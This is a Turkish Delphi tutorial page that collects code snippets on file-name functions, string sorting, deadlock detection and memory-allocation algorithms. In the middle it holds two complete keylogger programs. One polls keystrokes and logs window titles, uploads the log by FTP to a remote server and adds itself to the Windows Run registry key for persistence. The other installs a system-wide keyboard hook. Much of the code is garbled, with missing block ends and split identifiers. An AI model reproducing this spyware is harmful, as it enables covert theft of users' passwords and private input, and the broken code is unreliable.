Programlama yapalım ve Öğrenelim.

ExtractFileDrive Fonksiyonu (Dosya İsmi Komutları)

Verilen dosyanın hangi sürücüde olduğunu verir.

Örnek:

Edit1.text := ExtractFileDrive ('c:Windowsww.com');

Delphi - .....................................

ExtractFileExt Fonksiyonu (Dosya İsmi Komutları)

verilen dosyanın sadece uzantısını verir.

Örnek:

Edit1.Text:= ExtractFileExt ('c:windowswin.com');

Delphi - .....................................

ExtractFileName Fonksiyonu (Dosya İsmi Komutları)

verilen dosyanın (Yolu Dahil) adını verir.

Örnek:

Edit1.Text:= ExtractFileName ('c:windowswin.com');

Delphi - .....................................

ExtractFilePath Fonksiyonu (Dosya İsmi Komutları)

Verilen dosyanın sürücü ve dizinini (Yolunu) verir

Örnek:

Edit1.Text:= ExtractFilePath ('c:windowswin.com');

Delphi - .....................................

AnsiCompareStr Fonksiyonu (String Yakalama Usulleri) - İki String İfadeyi Karşılaştırma

İki string ifadeyi a dan z ye, z den a ya sıfrdan dokuza dokuzdan sıfıra

karşılaştırmasını yapar. Eğer a-z sıralmasında ilk string ikinci

stringten büyükse yani s1>s2 ise fonksiyon sonuç olarak 1 gönderir.Eğer a-z

sıralmasında s1=s2 ise ansicomparestr fonksiyonu sıfır dönderir. Eğer a-z

sıralmasında ilk string ikinci stringten küçük ise fonksiyon -1 gönderir.

Bu fonksiyon küçük büyük harfe duyarlıdır.

Kullanımı : AnsiCompareStr(const S1, S2: string): Integer;

Örnek 1: Stringleri karşılaştırma.

uses SysUtils;

procedure TForm1.Button1Click(Sender: TObject);

var

s1, s2, s3, s4: string;

begin

s1 := 'ABC';

s2 := 'ABB';

showmessage(inttostr(AnsiCompareStr(s1, s2)));

s3 := 'CCC';

S4 := 'CCC';

showmessage(inttostr(AnsiCompareStr(s3, s4)));

showmessage(inttostr(AnsiCompareStr(s2,s1)));

end;

Örnek 2: AnsiCompareStr fonksiyonu ile Memo içinde A-Z ye Z-A ya sıralama.

FORMUN UZERINE BIR MEMO IKI BUTON YERLEŞTIRIN. ÖRNEKTEKİ KODLARI BUTTONLARIN

ONCLIK OLAYINA YAZIN. Memonun satırların çeşitli harflerle başlayan il isimlerini

girin. (ADANA,ANKARA,ELAZIG,MALATYA,ANTALYA,ZONGULDAK,TRABZON VS... )

uses SysUtils;

procedure TForm1.Button1Click(Sender: TObject); {a dan z ye sırala}

var

j, I: Integer;

begin

for j := 0 to Memo1.Lines.Count - 1 do

begin

for i := 0 to Memo1.Lines.Count - 1 do

begin

if AnsiCompareStr(memo1.Lines.Strings[i], memo1.Lines.Strings[i + 1]) > 0

then

begin

if i + 1 <> memo1.Lines.Count then

begin

memo1.Lines.Exchange(i, i + 1);

end;

procedure TForm1.Button2Click(Sender: TObject); {Z den A ya sırla}

var

j, I: Integer;

begin

for j := 0 to Memo1.Lines.Count - 1 do

begin

for i := 0 to Memo1.Lines.Count - 1 do

begin

if AnsiCompareStr(memo1.Lines.Strings[i], memo1.Lines.Strings[i + 1]) < 0

then

begin

memo1.Lines.Exchange(i, i + 1);

end;

Delphi - .....................................

keylogger

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, StdCtrls, Wininet, Registry;

type

TForm1 = class(TForm)

Memo1: TMemo;

Timer1: TTimer;

Timer2: TTimer;

procedure Timer2Timer(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

ss:string;

Current_App:String;

VentanaActual:String;

VentanaAnterior:String;

intconn,intopen: hinternet;

implementation

{$R *.dfm}

procedure UploadMyFile (File2Upload:pchar; targetfilename:pchar);

const

TheFtpPort = 21;

begin

intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT,nil,nil,0);

intconn := internetconnect(intopen, 'ftp', TheFtpPort, 'user', 'pass',INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);

sleep(100);

ftpputfile(intconn,File2Upload,targetfilename,FTP_TRANSFER_TYPE_UNKNOWN,0);

internetclosehandle(intconn);

internetclosehandle(intopen);

end;

procedure SetAutoStart(AppName, AppTitle: string; bRegister: Boolean);

const

RegKey = 'SoftwareMicrosoftWindowsCurrentVersionRun';

var

Registry: TRegistry;

begin

Registry := TRegistry.Create;

try

Registry.RootKey := HKEY_LOCAL_MACHINE;

if Registry.OpenKey(RegKey, False) then

begin

if bRegister = False then

Registry.DeleteValue(AppTitle)

else

Registry.WriteString(AppTitle, AppName);

end;

finally

Registry.Free;

end;

procedure TForm1.Timer2Timer(Sender: TObject);

var

i:integer;

handler:THandle;

caption : array[0..80] of Char;

begin

for i:=8 To 255 do

begin

if GetAsyncKeyState(i)=-32767 then

case i of

17 : ss := ss + ' [Ctrl] ';

18 : ss := ss + ' [Alt] ';

8 : ss := ss + ' [Back] '; 9 : ss := ss + ' [TAB] ';

20 : ss := ss + ' [CapsLock] ';

21 : ss := ss + ' [CapsLock] ';

13 : ss := ss + ' [Enter] '+#13#10;

27 : ss := ss + '[Escape]';

32 : ss := ss + ' ';

33 : ss := ss + ' [PageUp] ';

34 : ss := ss + ' [PageDown] ';

35 : ss := ss + ' [End] ';

36 : ss := ss + ' [Home] ';

37 : ss := ss + ' [OK:Sol] ';

38 : ss := ss + ' [OK:Yukarı] ';

39 : ss := ss + ' [OK:Sağ] ';

44 : ss := ss + ' [PrintScreen] ';

40 : ss := ss + ' [OK:Aşağı] ';

45 : ss := ss + ' [İnsert] ';

46 : ss := ss + ' [Delete] ';

144 : ss := ss + ' [NumLock] ';

145 : ss := ss + ' [ScrollLock] ';

$10 : ss := ss + ' [Shift] ';

49 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '!'

else ss := ss + '1';

50 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ''''

else ss := ss + '2';

51 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '^'

else ss := ss + '3';

52 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '+'

else ss := ss + '4';

53 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '%'

else ss := ss + '5';

54 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '&'

else ss := ss + '6';

55 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '/'

else ss := ss + '7';

57 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ')'

else ss := ss + '9';

//...

56 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '('

else ss := ss + '8';

65..90 : //a-z,A-Z

if Odd(GetKeyState(VK_CAPITAL)) then

if GetKeyState(VK_SHIFT) < 0 then

ss := ss + LowerCase(Chr(i))

else

ss := ss + UpperCase(Chr(i))

else

if GetKeyState(VK_SHIFT) < 0 then

ss := ss + UpperCase(Chr(i))

else

ss := ss + LowerCase(Chr(i));

//NUMPAD

96 : ss := ss + '0';

97 : ss := ss + '1';

98 : ss := ss + '2';

99 : ss := ss + '3';

100 : ss := ss + '4';

101 : ss := ss + '5';

102 : ss := ss + '6';

103 : ss := ss + '7';

104 : ss := ss + '8';

105 : ss := ss + '9';

106 : ss := ss + '*';

107 : ss := ss + '+';

109 : ss := ss + '-';

110 : ss := ss + ',';

111 : ss := ss + '/';

112..123 :

//F1-F12

ss := ss + '[F' + IntToStr(i - 111) + ']';

186 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ş'

else ss := ss + 'ş';

187 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '+'

else ss := ss + '=';

188 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ';'

else ss := ss + ',';

189 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '_'

else ss := ss + '-';

190 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ':'

else ss := ss + '.';

191 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ö'

else ss := ss + 'ö';

192 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'é'

else ss := ss + '"';

219 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'Ğ'

else ss := ss + 'ğ';

220 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '|'

else ss := ss + '';

221 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ü'

else ss := ss + 'ü';

222 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'i'

else ss := ss + 'i';

end;

handler := GetForegroundWindow;

GetWindowText(handler,caption,80);

if (caption<>Current_App)and(caption<>'') then

begin

Current_App := caption;

ss := ss+#13#10'['+caption+']-['+TimeToStr(Now)+']'+#13#10;

end;

Memo1.Lines.Clear;

Memo1.Lines.Add(ss);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

Memo1.Lines.SaveToFile('Key.txt');

UploadMyFile('Key.txt', 'Key.txt');

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

SetAutoStart(ParamStr(0), 'pimrat', True);

end;

end.

Delphi - .....................................

keyloger

library KBHook;

uses

Windows,

Messages;

type

PHWND = ^HWND;

const

WM_KEYBOARD_HOOK = WM_USER + 52012;

var

hHook: LongWord = 0;

Key: Word;

KeyboardLayout: HKL;

GetShiftKeys: Boolean;

hWndBuffer: PHWND;

hMMF: THandle;

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;

var

LastKey: Char;

KeyState: TKeyboardState;

begin

Result:=CallNextHookEx(hHook,nCode,wParam,lParam);

if nCode<0 then

Exit

else begin

KeyboardLayout:=GetKeyboardLayout(0);

GetKeyboardState(KeyState);

if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,Keyboard Layout),KeyState,@LastKey,0,KeyboardLayout)>0 then

Key:=Ord(LastKey)

else

Key:=wParam;

if (lParam and $80000000)=0 then

if not (wParam in [16,17,18]) or GetShiftKeys then

PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetAc tiveWindow);

end;

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;

var

bHWND: PHWND;

begin

hMMF:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRI TE or SEC_COMMIT,0,SizeOf(hWnd),'((¯¨¤»TuRKi$H_CoDeR«¤¨¯ ))KeyboardHookHandle');

bHWND:=MapViewOfFile(hMMF,FILE_MAP_WRITE,0,0,SizeO f(HWND));

bHWND^:=hWnd;

UnmapViewOfFile(bHWND);

GetMem(hWndBuffer,SizeOf(HWND));

hWndBuffer^:=hWnd;

GetShiftKeys:=ShiftKeys;

if hHook=0 then

hHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);

Result:=hHook<>0;

end;

function DeleteHook: Boolean; stdcall;

begin

FreeMem(hWndBuffer);

CloseHandle(hMMF);

Result:=UnhookWindowsHookEx(hHook);

hHook:=0;

end;

exports

CreateHook,

DeleteHook;

var

MMF: THandle;

begin

MMF:=OpenFileMapping(FILE_MAP_READ,false,'((¯¨¤»Tu RKi$H_CoDeR«¤¨¯))KeyboardHookHandle');

if MMF<>0 then begin

hWndBuffer:=MapViewOfFile(MMF,FILE_MAP_READ,0,0,Si zeOf(HWND));

CloseHandle(MMF);

end;

end.

Delphi - .....................................

Deadlock Algoritması

unit deadlock;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, Grids;

type

process= record

pnum : string;

allocation : array [1..10] of integer;

max: array [1..10] of integer;

request :array [1..10] of integer;

need: array[1..10] of integer;

finish : boolean;

end;

type

TForm3 = class(TForm)

ListBox1: TListBox;

sg1: TStringGrid;

Edit1: TEdit;

Edit2: TEdit;

Button2: TButton;

Edit3: TEdit;

Button1: TButton;

sg2: TStringGrid;

Label1: TLabel;

Edit5: TEdit;

Label6: TLabel;

Label7: TLabel;

Label8: TLabel;

Button3: TButton;

GroupBox1: TGroupBox;

Label5: TLabel;

Label9: TLabel;

Label10: TLabel;

Label2: TLabel;

procedure Button2Click(Sender: TObject);

procedure Edit2KeyPress(Sender: TObject; var Key: Char);

procedure Edit3KeyPress(Sender: TObject; var Key: Char);

procedure Edit1KeyPress(Sender: TObject; var Key: Char);

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

procedure deadlock_detection(i:integer);

procedure init();

procedure getvalue();

procedure showgrid();

procedure findneed();

procedure safety_check();

procedure show_need();

procedure safety_init();

procedure safety(i:integer);

procedure temizle();

procedure sequence();

procedure addsequence();

procedure workinit();

procedure sequencereset();

procedure seqsafety();

procedure safetyinittwo();

procedure safetychecktwo();

procedure showseq();

{ Private declarations }

public

{ Public declarations }

end;

var

Form3: TForm3;

p : array [1..10] of process;

available : array [1..10] of integer;

work : array [1..10] of integer;

seq : array[1..10]of integer;

sq:integer;

implementation

{$R *.dfm}

procedure tform3.showseq ();

var i :integer;

temp:string;

begin

temp:='';

for i:=1 to strtoint(edit1.Text) do

begin

temp:= temp+ 'P'+inttostr(seq[i])+', ';

end;

listbox1.Items.Add('');

listbox1.Items.Add('The sequence<'+temp+'>');

end;

procedure tform3.safetychecktwo ();

var i, cnt: integer;

begin

cnt:=0;

for i:=1 to strtoint(edit1.Text) do

begin

if (p[i].finish = true) then

cnt:=cnt+1;

end;

if (cnt< strtoint(edit1.Text)) then

begin

listbox1.Items.Add('');

listbox1.Items.Add('System is not in a SAFE STATE');

end

else

begin

showseq();

listbox1.Items.Add('');

listbox1.Items.Add('System is in a SAFE STATE');

end;

procedure tform3.safetyinittwo ();

var

i,j: integer;

begin

for j:=1 to strtoint(edit2.Text) do

begin

work[j]:=available[j];

end;

for i:=1 to strtoint(edit1.Text) do

begin

p[i].finish := false;

end;

procedure tform3.seqsafety ();

var i,j:integer;

check : boolean;

label son;

begin

for i := 1 to strtoint(edit1.Text) do

begin

check:=false;

if (p[i].finish =false) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

if (p[i].need[j]<= work[j]) then

begin

check:=true;

end

else begin

check := false;break;

end;

if (check=true ) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

work[j]:= work[j]+p[i].allocation[j];

p[i].finish :=true;

end;

sq:=sq+1;

seq[sq]:=i; goto son;

end;

son:

end;

procedure tform3.sequencereset ();

var i :integer;

begin

for i:=1 to strtoint(edit1.Text)do

begin

seq[i]:=0;

end;

procedure tform3.workinit();

var i :integer;

begin

for i:=1 to strtoint(edit2.Text) do

begin

available[i]:=strtoint(copy(edit3.Text,i,1));

work[i]:=available[i];

end;

procedure tform3.addsequence();

var i,j : integer;

flag: boolean;

begin

for i:=1 to strtoint(edit1.Text) do

begin

flag := true;

for j:=1 to sq do

begin

if (i=seq[j])then

begin

flag:=false;break;

end;

if (flag=true) then

begin

sq:=sq+1;

seq[sq]:=i;

flag:=false;

end;

procedure tform3.sequence ();

var i,j:integer;

check : boolean;

label son;

begin

for i := 1 to strtoint(edit1.Text) do

begin

check:=false;

if (p[i].finish =false) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

if (p[i].request[j]<= work[j]) then

begin

check:=true;

end

else begin

check := false;break;

end;

if (check=true ) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

work[j]:= work[j]+p[i].allocation[j];

p[i].finish :=true;

end;

sq:=sq+1;

seq[sq]:=i; goto son;

end;

son:

end;

procedure tform3.temizle();

var i ,j: integer;

begin

for i:=1 to strtoint(edit1.Text) do

begin

for j:= 1 to strtoint(edit2.Text)do

begin

p[i].allocation[j] :=0;

p[i].max[j]:= 0;

p[i].request[j] :=0;

p[i].need[j]:=0

end;

p[i].pnum :='';

p[i].finish :=false;

end;

listbox1.Clear();

edit1.Clear ();

edit2.Clear ();

edit3.Clear ();

edit5.Clear ();

label7.Left :=120;

label8.Left :=168;

edit1.SetFocus ();

for i:=1 to sg1.ColCount do

begin

for j:=1 to sg1.RowCount do

begin

sg1.Cells [i,j]:='';

end;

for i:=1 to sg1.ColCount do

begin

for j:=1 to sg1.RowCount do

begin

sg2.Cells [i,j]:='';

end;

sg1.ColCount :=2;

sg1.RowCount :=2;

sg2.ColCount :=2;

sg2.RowCount :=2;

end;

procedure tform3.safety(i:integer);

var j,k:integer;

check : boolean;

tempwork,tempreq:string;

begin

check:=false;

tempwork:='';

tempreq:='';

if (p[i].finish =false) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

if (p[i].need[j]<= work[j]) then

begin

check:=true;

end

else begin

check := false;break;

end;

if (check=true ) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

work[j]:= work[j]+p[i].allocation[j];

p[i].finish :=true;

tempwork:=tempwork+inttostr(work[j])+',';

tempreq:=tempreq+inttostr(p[i].need[j])+',';

end;

delete(tempwork,length(tempwork),1);

delete(tempreq,length(tempreq),1);

listbox1.Items.Add('P'+inttostr(i)+':Finish['+inttostr(i)+']'+'=TRUE, '

+'Need['+inttostr(i)+']='+'['+tempreq+'] <= Work['+inttostr(i)+']='+'['+tempwork+'] YES');

//listbox1.Items.add('The system is in a safe state...!');

end

else begin

for k:=1 to strtoint(edit2.Text) do

begin

tempwork:=tempwork+inttostr(work[k])+',';

tempreq:=tempreq+inttostr(p[i].need[k])+',';

end;

delete(tempwork,length(tempwork),1);

delete(tempreq,length(tempreq),1);

listbox1.Items.Add('P'+inttostr(i)+':Finish['+inttostr(i)+']'+'=FALSE, '

+'Need['+inttostr(i)+']='+'['+tempreq+'] <= Work['+inttostr(i)+']='+'['+tempwork+'] NO');

//listbox1.Items.add('The system is not in a safe state...!');

end;

procedure tform3.safety_init();

var

i,j: integer;

begin

for j:=1 to strtoint(edit2.Text) do

begin

available[j]:=strtoint(copy(edit3.Text,j,1));

work[j]:=available[j];

end;

for i:=1 to strtoint(edit1.Text) do

begin

p[i].finish := false;

end;

procedure tform3.show_need();

var i,j:integer;

begin

sg2.RowCount := strtoint(edit1.Text )+1;

sg2.ColCount := strtoint(edit2.Text )+1;

sg2.ColWidths[0]:= 60;

sg2.Cells[0,0]:='Process';

for i:=1 to strtoint(edit1.Text) do

begin

for j:=1 to strtoint(edit2.Text) do

begin

sg2.Cells[j,0]:='R'+inttostr(j);

sg2.Cells [j,i]:=inttostr(p[i].need[j]);

end;

sg2.Cells[0,i]:='P'+inttostr(i);

end;

procedure tform3.safety_check ();

var i, cnt: integer;

//check: boolean;

begin

//check:=false;

cnt:=0;

for i:=1 to strtoint(edit1.Text) do

begin

if (p[i].finish = false) then

begin

//check:=false;

listbox1.Items.add('');

listbox1.Items.add('P'+inttostr(i)+' is DEADLOCKED...!');

end;

if (p[i].finish = true) then

begin

//check:=true;

cnt:=cnt+1;

end;

if (cnt = strtoint(edit1.Text ))then

begin

button1.Enabled :=true;

showseq();

listbox1.Items.add('');

listbox1.Items.add('There is no DEADLOCK...!');

end

else button1.Enabled :=false;

end;

{procedure tform3.workreset ();

var

i : integer;

begin

for i:=1 to strtoint(edit2.Text) do

begin

work[i]:=0;

end;

end; }

procedure tform3.deadlock_detection(i:integer);

var j,k:integer;

check : boolean;

tempreq,tempwork:string;

begin

check:=false;

tempreq:='';

tempwork:='';

if (p[i].finish =false) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

if (p[i].request[j]<= work[j]) then

begin

check:=true;

end

else begin

check := false;break;

end;

if (check=true ) then

begin

for j:=1 to strtoint(edit2.Text) do

begin

work[j]:= work[j]+p[i].allocation[j];

p[i].finish :=true;

tempwork:=tempwork+ inttostr(work[j])+',';

tempreq:=tempreq+inttostr(p[i].request[j])+',';

end;

delete(tempwork,length(tempwork),1);

delete(tempreq,length(tempreq),1);

listbox1.Items.Add('P'+inttostr(i)+':Finish['+inttostr(i)+']'+'=TRUE, '

+'Request['+inttostr(i)+']='+'['+tempreq+'] <= Work['+inttostr(i)+']='+'['+tempwork+'] YES');

end

else begin

for k:=1 to strtoint(edit2.Text) do

begin

tempwork:=tempwork+ inttostr(work[k])+',';

tempreq:=tempreq+inttostr(p[i].request[k])+',';

end;

delete(tempwork,length(tempwork),1);

delete(tempreq,length(tempreq),1);

listbox1.Items.Add('P'+inttostr(i)+':Finish['+inttostr(i)+']'+'=FALSE, '

+'Request['+inttostr(i)+']='+'['+tempreq+'] <= Work['+inttostr(i)+']='+'['+tempwork+'] NO');

end;

procedure tform3.findneed ();

var i,j:integer;

begin

for i:=1 to strtoint(edit1.Text)do

begin

for j:=1 to strtoint(edit2.Text)do

begin

p[i].need[j]:= p[i].max[j] - p[i].allocation[j];

end;

procedure tform3.showgrid ();

var i,j,cnt : integer;

begin

sg1.ColWidths[0]:=60;

sg1.Cells[0,0]:='Process';

sg1.RowCount := strtoint(edit1.Text )+1;

sg1.ColCount := strtoint(edit2.Text )*3+1;

for j:=1 to strtoint(edit2.text) do

begin

cnt:= strtoint(edit2.Text) * (-1);

for i:=1 to strtoint(edit1.Text) do

begin

cnt:=cnt+strtoint(edit2.Text);

sg1.Cells[j+cnt,0]:= 'R'+inttostr(j);

sg1.Cells[0,i]:='P'+inttostr(i);

end;

procedure tform3.getvalue ();

var i ,j: integer;

begin

for i:=1 to strtoint(edit1.Text) do

begin

for j:= 1 to strtoint(edit2.Text)do

begin

p[i].allocation[j] :=strtoint(sg1.Cells[j,i]);

p[i].max[j]:= strtoint(sg1.Cells[(j+strtoint(edit2.Text)),i]);

p[i].request[j] :=strtoint(sg1.Cells[(j+strtoint(edit2.Text)*2),i]);

end;

p[i].pnum :=sg1.Cells [0,i];

//p[i].finish :=false;

end;

procedure tform3.init ();

var i,j: integer;

begin

for i:=1 to strtoint(edit1.Text) do

begin

for j:=1 to strtoint(edit2.Text) do

begin

if p[i].allocation [j]= 0 then

begin

p[i].finish:=true;

end

else begin

p[i].finish:=false;break;

end;

procedure TForm3.Button2Click(Sender: TObject);

var cnt,i : integer;

begin

listbox1.Clear ();

sequencereset();

workinit();

getvalue();

findneed();

init();

show_need();

sq:=0;

cnt:=0;

while (cnt<>strtoint(edit1.Text))do

begin

cnt:=cnt+1;

for i:=1 to strtoint(edit1.Text) do

begin

sequence();

end;

addsequence();

listbox1.Items.add('DEADLOCK DETECTION');

listbox1.Items.add('_________________________________________________');

init();

workinit();

for i:=1 to strtoint(edit1.Text) do

begin

deadlock_detection(seq[i]);

end;

safety_check ();

end;

procedure TForm3.Edit2KeyPress(Sender: TObject; var Key: Char);

begin

if (ord(key)=13)then

begin

showgrid();

if (strtoint(edit2.Text)>2) then

begin

label7.Left := label7.Left + ((strtoint(edit2.Text)-2)*20);

label8.Left := label8.Left + ((strtoint(edit2.Text)-2)*40);

edit3.SetFocus;

end;

procedure TForm3.Edit3KeyPress(Sender: TObject; var Key: Char);

begin

if (ord(key)=13) then

begin

if (Length (edit3.Text)< strtoint(edit2.Text)) or (Length (edit3.Text)> strtoint(edit2.Text)) then

begin

ShowMessage('Available size must be equal to request size');

edit3.Clear;

edit3.SetFocus;

end

end;

procedure TForm3.Edit1KeyPress(Sender: TObject; var Key: Char);

begin

if (ord(key)=13) then

begin

edit2.SetFocus ();

end;

procedure TForm3.FormCreate(Sender: TObject);

begin

button1.Enabled := false;

end;

procedure TForm3.Button1Click(Sender: TObject);

var i,j,k,cnt : integer;

tempreq,tempneed,tempav:string;

label son;

begin

getvalue();

safety_init();

tempreq:='';

tempneed:='';

tempav:='';

for i:=1 to strtoint(edit2.text)do

begin

if (p[strtoint(edit5.Text)].request[i]>p[strtoint(edit5.Text)].need[i] )then

begin

listbox1.Items.Add('');

listbox1.Items.Add('Request['+edit5.text+ ']> Need['+edit5.Text+']'+' ,then there is an ERROR..!');

goto son;

end;

for j:=1 to strtoint(edit2.text)do

begin

if (p[strtoint(edit5.Text)].request[j]>available[j] )then

begin

listbox1.Items.Add('');

listbox1.Items.Add('Request['+edit5.text+ ']> Available['+edit5.Text+']'+' P'+edit5.Text+' ,then must wait');

goto son;

end;

for k:=1 to strtoint(edit2.Text) do

begin

available[k]:= available[k]- p[strtoint(edit5.Text)].request[k];

p[strtoint(edit5.Text)].allocation[k]:=p[strtoint(edit5.Text)].allocation[k]+p[strtoint(edit5.Text)].request[k];

p[strtoint(edit5.Text)].need[k]:=p[strtoint(edit5.Text)].need[k]-p[strtoint(edit5.Text)].request[k];

end;

sq:=0;

cnt:=0;

show_need();

sequencereset();

while (cnt<>strtoint(edit1.Text))do

begin

cnt:=cnt+1;

for i:=1 to strtoint(edit1.Text) do

begin

seqsafety();

end;

addsequence();

safetyinittwo();

listbox1.Items.add('');

listbox1.Items.add('SAFETY ALGORITHIM');

listbox1.Items.add('_________________________________________________');

for i:=1 to strtoint(edit1.Text) do

begin

safety (seq[i]);

end;

safetychecktwo ();

son:

end;

procedure TForm3.Button3Click(Sender: TObject);

begin

temizle();

end;

end.

Delphi - .....................................

Memory Management Algoritmaları

unit memmanage;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls, Mask;

type

TForm1 = class(TForm)

Shape2: TShape;

Edit1: TEdit;

Edit2: TEdit;

Edit3: TEdit;

Button2: TButton;

Shape1: TShape;

Shape3: TShape;

Shape4: TShape;

Shape5: TShape;

Shape6: TShape;

Edit4: TEdit;

Edit5: TEdit;

Edit6: TEdit;

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

Label4: TLabel;

Label5: TLabel;

Label6: TLabel;

Shape7: TShape;

Edit7: TEdit;

Button1: TButton;

MaskEdit1: TMaskEdit;

Button3: TButton;

Shape8: TShape;

Shape9: TShape;

Shape10: TShape;

Shape11: TShape;

Shape12: TShape;

Shape13: TShape;

Label7: TLabel;

Label8: TLabel;

Label9: TLabel;

Shape14: TShape;

Shape15: TShape;

Label10: TLabel;

procedure FormCreate(Sender: TObject);

procedure Edit1KeyPress(Sender: TObject; var Key: Char);

procedure Edit2KeyPress(Sender: TObject; var Key: Char);

procedure Edit3KeyPress(Sender: TObject; var Key: Char);

procedure Button2Click(Sender: TObject);

procedure Edit4KeyPress(Sender: TObject; var Key: Char);

procedure Edit5KeyPress(Sender: TObject; var Key: Char);

procedure Edit6KeyPress(Sender: TObject; var Key: Char);

procedure Button1Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

procedure fixed_variable( size: integer; loc :integer; p: integer);

procedure best_fit(p:integer;first:integer;last : integer;stop:integer;sheight:integer);

procedure best_fit_prepare;

procedure worst_fit(p:integer;first:integer;last : integer;stop:integer;sheight:integer);

procedure worst_fit_prepare;

procedure first_fit(p:integer;first:integer;last : integer;stop:integer;sheight:integer);

procedure first_fit_prepare;

{ Private declarations }

public

x : array [1..30] of TPanel;

y : array [1..30] of TPanel;

z : array [1..30] of Tpanel;

t : array [1..30] of Tpanel;

temp : array [1..30] of TShape;

{ Public declarations }

end;

var

Form1: TForm1;

cnt,cntw,cntf: integer;

delpcnt,pnum,pwnum,pfnum,scnt,sleft,stop,swidth,sheight: integer;

implementation

{$R *.dfm}

procedure Tform1.best_fit_prepare;

var

k,w,x,temp,temp1,scnt,i,j,first,last: integer;

pos : array [1..30,1..2]of integer;

begin

for i:=1 to 30 do

begin

pos[i,1]:=0;

pos[i,2]:=0;

end;

scnt :=0;

first:=0;

last:=0;

for i:=1 to 30 do

begin

if y[i].Caption = '' then

begin

scnt := scnt + 1;

pos[i-scnt+1,1]:= i-scnt+1;

pos[i-scnt+1,2]:=scnt;

end

else

scnt:=0;

end;

w:=1;

for i:=w to 30 do

for j:=i to 29 do

begin

if(pos[i,2]<=pos[j,2])then

begin

temp :=pos[i,2];

pos[i,2]:= pos[j,2];

pos[j,2]:=temp;

temp1 :=pos[i,1];

pos[i,1]:= pos[j,1];

pos[j,1]:=temp1;

end;

x:=30;

for k:= x downto 1 do

begin

if (pos[k,2] >= strtoint(edit7.Text)) then

begin

first := pos[k,1];

last := first + strtoint(edit7.Text)-1;

break;

end;

cnt := cnt+1;

sheight:=0;

stop:= stop -((strtoint(edit7.text)*14));

sheight := sheight+((strtoint(edit7.text)*14));

best_fit(cnt,first,last,stop,sheight);

end;

procedure TForm1.best_fit(p:integer;first:integer;last:integer;stop:integer;sheight:integer);

var i: integer;

label bson;

begin

for i:= first to last do

begin

if (i>0) then

begin

y[i].Caption :='P'+inttostr(p);

y[i].color := clnavy;

y[i].Font.Color := clwhite;

end;

if (i<=0)then

begin

showmessage('Not Enough Memory For Best Fit Algorithim..!');

pnum := pnum - strtoint(edit7.Text);

goto bson;

end;

bson:

end;

procedure Tform1.worst_fit_prepare;

var

k,w,x,temp,temp1,scnt,i,j,first,last: integer;

pos : array [1..30,1..2]of integer;

begin

for i:=1 to 30 do

begin

pos[i,1]:=0;

pos[i,2]:=0;

end;

scnt :=0;

first:=0;

last:=0;

for i:=1 to 30 do

begin

if z[i].Caption = '' then

begin

scnt := scnt + 1;

pos[i-scnt+1,1]:= i-scnt+1;

pos[i-scnt+1,2]:=scnt;

end

else

scnt:=0;

end;

w:=1;

for i:=w to 30 do

for j:=i to 29 do

begin

if(pos[i,2]>=pos[j,2])then

begin

temp :=pos[i,2];

pos[i,2]:= pos[j,2];

pos[j,2]:=temp;

temp1 :=pos[i,1];

pos[i,1]:= pos[j,1];

pos[j,1]:=temp1;

end;

x:=30;

for k:= x downto 1 do

begin

if (pos[k,2] >= strtoint(edit7.Text)) then

begin

first := pos[k,1];

last := first + strtoint(edit7.Text)-1;

break;

end;

cntw := cntw+1;

sheight:=0;

stop:= stop -((strtoint(edit7.text)*14));

sheight := sheight+((strtoint(edit7.text)*14));

worst_fit(cntw,first,last,stop,sheight);

end;

procedure TForm1.worst_fit(p:integer;first:integer;last:integer;stop:integer;sheight:integer);

var i: integer;

label wson;

begin

for i:= first to last do

begin

if (i>0)then

begin

z[i].Caption :='P'+inttostr(p);

z[i].color := clnavy;

z[i].Font.Color := clwhite;

end;

if (i<=0) then

begin

